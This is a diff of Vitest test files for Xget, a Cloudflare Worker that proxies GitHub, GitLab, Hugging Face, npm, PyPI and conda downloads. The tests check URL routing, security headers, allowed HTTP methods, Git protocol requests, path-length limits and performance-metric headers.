if (response.headers.has(header)) {
|
||||||
|
results.present.push(header);
|
||||||
|
} else {
|
||||||
|
results.missing.push(header);
|
||||||
|
results.passed = false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate random test data
|
||||||
|
*/
|
||||||
|
export const TestDataGenerator = {
|
||||||
|
/**
|
||||||
|
* Generate random string
|
||||||
|
* @param {number} length - String length
|
||||||
|
* @returns {string} Random string
|
||||||
|
*/
|
||||||
|
randomString(length = 10) {
|
||||||
|
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||||
|
let result = '';
|
||||||
|
for (let i = 0; i < length; i++) {
|
||||||
|
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate random GitHub repository path
|
||||||
|
* @returns {string} Repository path
|
||||||
|
*/
|
||||||
|
githubRepo() {
|
||||||
|
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
||||||
|
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
||||||
|
const user = users[Math.floor(Math.random() * users.length)];
|
||||||
|
const repo = repos[Math.floor(Math.random() * repos.length)];
|
||||||
|
return `${user}/${repo}`;
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate random file path
|
||||||
|
* @returns {string} File path
|
||||||
|
*/
|
||||||
|
filePath() {
|
||||||
|
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
||||||
|
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
||||||
|
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
||||||
|
const file = files[Math.floor(Math.random() * files.length)];
|
||||||
|
return `${dir}/${file}`;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test timeout helper
|
||||||
|
* @param {number} ms - Timeout in milliseconds
|
||||||
|
* @returns {Promise} Promise that rejects after timeout
|
||||||
|
*/
|
||||||
|
export function timeout(ms) {
|
||||||
|
return new Promise((_, reject) => {
|
||||||
|
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Wait for a specified amount of time
|
||||||
|
* @param {number} ms - Time to wait in milliseconds
|
||||||
|
* @returns {Promise} Promise that resolves after the specified time
|
||||||
|
*/
|
||||||
|
export function wait(ms) {
|
||||||
|
return new Promise(resolve => setTimeout(resolve, ms));
|
||||||
|
}
|
||||||
@@ -0,0 +1,184 @@
|
|||||||
|
import { SELF } from 'cloudflare:test';
|
||||||
|
import { beforeEach, describe, expect, it } from 'vitest';
|
||||||
|
|
||||||
|
describe('Xget Core Functionality', () => {
|
||||||
|
let env;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
env = {};
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Basic Request Handling', () => {
|
||||||
|
it('should return 404 for root path', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
expect(response.status).toBe(404);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 400 for invalid platform prefix', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/invalid/test');
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include security headers in all responses', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/');
|
||||||
|
|
||||||
|
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||||
|
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||||
|
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||||
|
expect(response.headers.get('Content-Security-Policy')).toBeTruthy();
|
||||||
|
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Platform URL Transformation', () => {
|
||||||
|
it('should handle GitHub URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to GitHub
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle GitLab URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to GitLab
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle Hugging Face URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to Hugging Face
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle npm URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to npm
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle PyPI URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to PyPI
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle conda URLs correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to conda
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HTTP Method Validation', () => {
|
||||||
|
it('should allow GET requests', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'GET'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow HEAD requests', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'HEAD'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject PUT requests for non-Git operations', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'PUT'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject DELETE requests', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||||
|
method: 'DELETE'
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(405);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Git Protocol Support', () => {
|
||||||
|
it('should allow POST for Git upload-pack', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-git-upload-pack-request',
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should allow POST for Git receive-pack', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-git-receive-pack-request',
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(405);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle Git info/refs requests', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
|
||||||
|
method: 'GET',
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(405);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Path Length Validation', () => {
|
||||||
|
it('should reject extremely long paths', async () => {
|
||||||
|
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||||
|
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||||
|
|
||||||
|
expect(response.status).toBe(414);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should accept normal length paths', async () => {
|
||||||
|
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||||
|
const response = await SELF.fetch(`https://example.com${normalPath}`);
|
||||||
|
|
||||||
|
expect(response.status).not.toBe(414);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Performance Headers', () => {
|
||||||
|
it('should include performance metrics in response headers', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||||
|
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include valid JSON in performance metrics', async () => {
|
||||||
|
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
|
||||||
|
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||||
|
|
||||||
|
expect(() => JSON.parse(metricsHeader)).not.toThrow();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,267 @@
|
|||||||
|
import { SELF } from 'cloudflare:test';
|
||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
|
||||||
|
describe('Integration Tests', () => {
|
||||||
|
describe('End-to-End Platform Integration', () => {
|
||||||
|
it('should proxy GitHub file requests correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
// Should attempt to proxy to GitHub
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
|
||||||
|
// Should include security headers
|
||||||
|
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle GitHub raw file requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle GitHub release downloads', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should proxy GitLab file requests correctly', async () => {
|
||||||
|
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle Hugging Face model files', async () => {
|
||||||
|
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle npm package requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/npm/react';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle PyPI package requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/pypi/simple/requests/';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle conda package requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
|
||||||
|
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Git Protocol Integration', () => {
|
||||||
|
it('should handle Git info/refs requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
expect([200, 301, 302, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle Git upload-pack requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack';
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/x-git-upload-pack-request',
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
},
|
||||||
|
body: '0000' // Minimal Git protocol data
|
||||||
|
});
|
||||||
|
|
||||||
|
expect([200, 301, 302, 400, 404]).toContain(response.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should preserve Git-specific headers', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo.git/info/refs';
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1',
|
||||||
|
'Git-Protocol': 'version=2'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should not reject Git-specific headers
|
||||||
|
expect(response.status).not.toBe(400);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Caching Integration', () => {
|
||||||
|
it('should cache responses appropriately', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
|
||||||
|
|
||||||
|
// First request
|
||||||
|
const response1 = await SELF.fetch(testUrl);
|
||||||
|
const metrics1 = response1.headers.get('X-Performance-Metrics');
|
||||||
|
|
||||||
|
// Second request (should potentially hit cache)
|
||||||
|
const response2 = await SELF.fetch(testUrl);
|
||||||
|
const metrics2 = response2.headers.get('X-Performance-Metrics');
|
||||||
|
|
||||||
|
expect(metrics1).toBeTruthy();
|
||||||
|
expect(metrics2).toBeTruthy();
|
||||||
|
|
||||||
|
// Both requests should succeed
|
||||||
|
expect(response1.status).toBe(response2.status);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should not cache Git protocol requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
headers: {
|
||||||
|
'User-Agent': 'git/2.34.1'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Git requests should not be cached (no cache headers)
|
||||||
|
expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Error Handling Integration', () => {
|
||||||
|
it('should handle upstream server errors gracefully', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
|
||||||
|
const response = await SELF.fetch(testUrl);
|
||||||
|
|
||||||
|
// Should handle 404 from upstream gracefully
|
||||||
|
expect([404, 502, 503]).toContain(response.status);
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle network timeouts', async () => {
|
||||||
|
// This would test timeout handling, but is difficult to simulate
|
||||||
|
// in a unit test environment. In practice, this would be tested
|
||||||
|
// with a mock server that delays responses.
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo/file.txt';
|
||||||
|
const response = await SELF.fetch(testUrl);
|
||||||
|
|
||||||
|
// Should complete within reasonable time
|
||||||
|
expect(response.status).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should retry failed requests', async () => {
|
||||||
|
// Test retry mechanism by checking performance metrics
|
||||||
|
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
|
||||||
|
const response = await SELF.fetch(testUrl);
|
||||||
|
|
||||||
|
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||||
|
if (metricsHeader) {
|
||||||
|
const metrics = JSON.parse(metricsHeader);
|
||||||
|
// If retries occurred, there should be timing data
|
||||||
|
expect(typeof metrics).toBe('object');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Performance Integration', () => {
|
||||||
|
it('should complete requests within reasonable time', async () => {
|
||||||
|
const startTime = Date.now();
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
|
||||||
|
|
||||||
|
const response = await SELF.fetch(testUrl);
|
||||||
|
const endTime = Date.now();
|
||||||
|
|
||||||
|
const duration = endTime - startTime;
|
||||||
|
|
||||||
|
// Should complete within 30 seconds (timeout limit)
|
||||||
|
expect(duration).toBeLessThan(30000);
|
||||||
|
expect(response.status).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should include performance metrics in all responses', async () => {
|
||||||
|
const testUrls = [
|
||||||
|
'https://example.com/gh/test/repo/file.txt',
|
||||||
|
'https://example.com/gl/test/repo/file.txt',
|
||||||
|
'https://example.com/hf/test/model/config.json',
|
||||||
|
'https://example.com/npm/test-package',
|
||||||
|
'https://example.com/pypi/simple/test/',
|
||||||
|
'https://example.com/conda/pkgs/main/test.json'
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const url of testUrls) {
|
||||||
|
const response = await SELF.fetch(url, { method: 'HEAD' });
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Content Type Handling', () => {
|
||||||
|
it('should preserve content types from upstream', async () => {
|
||||||
|
const testCases = [
|
||||||
|
{ url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' },
|
||||||
|
{ url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' },
|
||||||
|
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
|
||||||
|
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const testCase of testCases) {
|
||||||
|
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
|
||||||
|
|
||||||
|
if (response.status === 200) {
|
||||||
|
const contentType = response.headers.get('Content-Type');
|
||||||
|
if (contentType) {
|
||||||
|
expect(contentType.toLowerCase()).toContain(testCase.expectedType);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Range Request Support', () => {
|
||||||
|
it('should support partial content requests', async () => {
|
||||||
|
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
|
||||||
|
const response = await SELF.fetch(testUrl, {
|
||||||
|
headers: {
|
||||||
|
'Range': 'bytes=0-1023'
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Should either support range requests (206) or return full content (200)
|
||||||
|
expect([200, 206, 404]).toContain(response.status);
|
||||||
|
|
||||||
|
if (response.status === 206) {
|
||||||
|
expect(response.headers.get('Content-Range')).toBeTruthy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Cross-Platform Consistency', () => {
|
||||||
|
it('should handle similar requests consistently across platforms', async () => {
|
||||||
|
const testCases = [
|
||||||
|
'https://example.com/gh/test/repo/README.md',
|
||||||
|
'https://example.com/gl/test/repo/README.md'
|
||||||
|
];
|
||||||
|
|
||||||
|
const responses = await Promise.all(
|
||||||
|
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
|
||||||
|
);
|
||||||
|
|
||||||
|
// All responses should have consistent security headers
|
||||||
|
responses.forEach(response => {
|
||||||
|
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||||
|
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,231 @@
|
|||||||
|
import { beforeEach, describe, expect, it } from 'vitest';
|
||||||
|
|
||||||
|
// Mock PerformanceMonitor class for testing
|
||||||
|
class MockPerformanceMonitor {
|
||||||
|
constructor() {
|
||||||
|
this.startTime = Date.now();
|
||||||
|
this.marks = new Map();
|
||||||
|
}
|
||||||
|
|
||||||
|
mark(name) {
|
||||||
|
if (this.marks.has(name)) {
|
||||||
|
console.warn(`Mark with name ${name} already exists.`);
|
||||||
|
}
|
||||||
|
this.marks.set(name, Date.now() - this.startTime);
|
||||||
|
}
|
||||||
|
|
||||||
|
getMetrics() {
|
||||||
|
return Object.fromEntries(this.marks.entries());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('Performance Monitoring', () => {
|
||||||
|
let monitor;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
monitor = new MockPerformanceMonitor();
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('PerformanceMonitor Class', () => {
|
||||||
|
it('should initialize with start time', () => {
|
||||||
|
expect(monitor.startTime).toBeDefined();
|
||||||
|
expect(typeof monitor.startTime).toBe('number');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should create timing marks', () => {
|
||||||
|
monitor.mark('test-mark');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
expect(metrics).toHaveProperty('test-mark');
|
||||||
|
expect(typeof metrics['test-mark']).toBe('number');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle multiple marks', () => {
|
||||||
|
monitor.mark('mark1');
|
||||||
|
monitor.mark('mark2');
|
||||||
|
monitor.mark('mark3');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
expect(Object.keys(metrics)).toHaveLength(3);
|
||||||
|
expect(metrics).toHaveProperty('mark1');
|
||||||
|
expect(metrics).toHaveProperty('mark2');
|
||||||
|
expect(metrics).toHaveProperty('mark3');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should warn on duplicate mark names', () => {
|
||||||
|
const consoleSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||||
|
|
||||||
|
monitor.mark('duplicate');
|
||||||
|
monitor.mark('duplicate');
|
||||||
|
|
||||||
|
expect(consoleSpy).toHaveBeenCalledWith('Mark with name duplicate already exists.');
|
||||||
|
|
||||||
|
consoleSpy.mockRestore();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return metrics as plain object', () => {
|
||||||
|
monitor.mark('test');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
expect(metrics).toBeTypeOf('object');
|
||||||
|
expect(Array.isArray(metrics)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should track elapsed time correctly', async () => {
|
||||||
|
monitor.mark('start');
|
||||||
|
|
||||||
|
// Wait a small amount of time
|
||||||
|
await new Promise(resolve => setTimeout(resolve, 10));
|
||||||
|
|
||||||
|
monitor.mark('end');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
expect(metrics.end).toBeGreaterThan(metrics.start);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Performance Metrics Validation', () => {
|
||||||
|
it('should produce serializable metrics', () => {
|
||||||
|
monitor.mark('request-start');
|
||||||
|
monitor.mark('proxy-start');
|
||||||
|
monitor.mark('proxy-end');
|
||||||
|
monitor.mark('request-end');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
|
||||||
|
expect(() => JSON.stringify(metrics)).not.toThrow();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should have reasonable timing values', () => {
|
||||||
|
monitor.mark('test-mark');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
const timing = metrics['test-mark'];
|
||||||
|
|
||||||
|
// Should be a positive number and reasonable (less than 1 second for this test)
|
||||||
|
expect(timing).toBeGreaterThanOrEqual(0);
|
||||||
|
expect(timing).toBeLessThan(1000);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should maintain chronological order', async () => {
|
||||||
|
monitor.mark('first');
|
||||||
|
await new Promise(resolve => setTimeout(resolve, 5));
|
||||||
|
monitor.mark('second');
|
||||||
|
await new Promise(resolve => setTimeout(resolve, 5));
|
||||||
|
monitor.mark('third');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
|
||||||
|
expect(metrics.first).toBeLessThan(metrics.second);
|
||||||
|
expect(metrics.second).toBeLessThan(metrics.third);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Common Performance Scenarios', () => {
|
||||||
|
it('should track request lifecycle', () => {
|
||||||
|
// Simulate typical request flow
|
||||||
|
monitor.mark('request-received');
|
||||||
|
monitor.mark('validation-complete');
|
||||||
|
monitor.mark('proxy-start');
|
||||||
|
monitor.mark('proxy-response');
|
||||||
|
monitor.mark('response-sent');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
|
||||||
|
expect(metrics).toHaveProperty('request-received');
|
||||||
|
expect(metrics).toHaveProperty('validation-complete');
|
||||||
|
expect(metrics).toHaveProperty('proxy-start');
|
||||||
|
expect(metrics).toHaveProperty('proxy-response');
|
||||||
|
expect(metrics).toHaveProperty('response-sent');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should track cache operations', () => {
|
||||||
|
monitor.mark('cache-check-start');
|
||||||
|
monitor.mark('cache-miss');
|
||||||
|
monitor.mark('upstream-request');
|
||||||
|
monitor.mark('cache-store');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
|
||||||
|
expect(metrics).toHaveProperty('cache-check-start');
|
||||||
|
expect(metrics).toHaveProperty('cache-miss');
|
||||||
|
expect(metrics).toHaveProperty('upstream-request');
|
||||||
|
expect(metrics).toHaveProperty('cache-store');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should track error scenarios', () => {
|
||||||
|
monitor.mark('request-start');
|
||||||
|
monitor.mark('error-occurred');
|
||||||
|
monitor.mark('error-handled');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
|
||||||
|
expect(metrics).toHaveProperty('request-start');
|
||||||
|
expect(metrics).toHaveProperty('error-occurred');
|
||||||
|
expect(metrics).toHaveProperty('error-handled');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Performance Thresholds', () => {
|
||||||
|
it('should identify slow operations', () => {
|
||||||
|
monitor.mark('operation-start');
|
||||||
|
|
||||||
|
// Simulate slow operation
|
||||||
|
const slowTiming = 5000; // 5 seconds
|
||||||
|
monitor.marks.set('operation-end', slowTiming);
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
|
||||||
|
|
||||||
|
// Should identify as slow (> 1 second)
|
||||||
|
expect(operationTime).toBeGreaterThan(1000);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should identify fast operations', () => {
|
||||||
|
monitor.mark('fast-operation');
|
||||||
|
|
||||||
|
const metrics = monitor.getMetrics();
|
||||||
|
const timing = metrics['fast-operation'];
|
||||||
|
|
||||||
|
// Should be fast (< 100ms for this test)
|
||||||
|
expect(timing).toBeLessThan(100);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Memory and Resource Usage', () => {
|
||||||
|
it('should not leak memory with many marks', () => {
|
||||||
|
const initialSize = monitor.marks.size;
|
||||||
|
|
||||||
|
// Add many marks
|
||||||
|
for (let i = 0; i < 1000; i++) {
|
||||||
|
monitor.mark(`mark-${i}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
expect(monitor.marks.size).toBe(initialSize + 1000);
|
||||||
|
|
||||||
|
// Clear marks (if such method existed)
|
||||||
|
monitor.marks.clear();
|
||||||
|
expect(monitor.marks.size).toBe(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should handle concurrent mark operations', () => {
|
||||||
|
const promises = [];
|
||||||
|
|
||||||
|
for (let i = 0; i < 10; i++) {
|
||||||
|
